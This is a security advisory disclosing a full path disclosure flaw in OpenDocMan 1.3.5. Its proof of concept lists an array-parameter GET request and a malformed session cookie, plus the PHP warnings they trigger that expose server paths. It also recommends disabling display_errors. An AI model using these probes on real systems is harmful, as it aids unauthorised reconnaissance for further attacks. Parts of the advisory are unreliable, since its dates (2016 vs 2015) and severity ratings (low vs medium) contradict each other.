OpenDocMan v1.3.5 - Full Path Disclosure Vulnerability

Document Title:
===============
OpenDocMan v1.3.5 - Full Path Disclosure Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1868


Release Date:
=============
2016-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
1868


Common Vulnerability Scoring System:
====================================
3.1


Product & Service Introduction:
===============================
OpenDocMan is a free, web-based, open source document management system (DMS) written in PHP designed to comply with 
ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, 
and automated install and upgrades.

(Copy of the Vendor Homepage: http://www.opendocman.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a full path disclosure vulnerability in the OpenDocMan v1.3.5 application.


Vulnerability Disclosure Timeline:
==================================
2015-07-04:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
OpenDocMan DMS
Product: OpenDocMan - CMS (Web-Application) 1.3.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A full path disclosure vulnerability has been discovered in the official OpenDocMan v1.3.5 web-application.

An attacker can insert a Array to display a disclosure path, this flaw displays the full path to the vulnerable 
script while indicating the type of vulnerability: Warning: htmlentities ()

However if used in addition to other attacks such as SQL injections or Local File iclusion, it becomes critical.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

[+] Array[] Parameter Injection Method GET : http://opendocman.localhost:8080/index.php?redirection[FPD]=index.php
[+] Injection results : Warning: htmlentities() expects parameter 1 to be string, array given in /home/opendocm/public_html/demo/index.php on line 151

# Host: opendocman.localhost:8080
# User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:47.0) Gecko/20100101 Firefox/47.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Cookie: __cfduid=d75b77e3db3820872adb88bdf94cd30df1467368101; optimizelySegments=%7B%221995752260%22%3A%22referral%22%2C%222006841162%22%3A%22
false%22%2C%222013221018%22%3A%22ff%22%2C%222333810011%22%3A%22referral%22%2C%222335790013%22%3A%22ff%22%2C%222340420012%22%3A%22false%22%7D; 
optimizelyEndUserId=oeu1467367160521r0.19667019172986888; optimizelyBuckets=%7B%7D; _ga=GA1.2.39181984.1467367164; PHPSESSID=//setcokkie(); wBounce=true
# Connection: keep-alive
# Cache-Control: max-age=0

[+] Injection results : Warning: session_start() [function.session-start]: 
The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /home/opendocm/public_html/demo/index.php on line 23

Warning: session_start() [function.session-start]: 
Cannot send session cookie - headers already sent by (output started at /home/opendocm/public_html/demo/index.php:23) in /home/opendocm/public_html/demo/index.php on line 23


Solution - Fix & Patch:
=======================
1. Reconfigure the php.ini
2. Change "display_errors" and set it to "off" and errors are not enabled


Security Risk:
==============
The security risk of the information disclosure vulnerability in the OpenDocMan web-application is estimated as medium. (CVSS 3.1)


Credits & Authors:
==================
ZwX - (http://zwx.fr) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


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=========================
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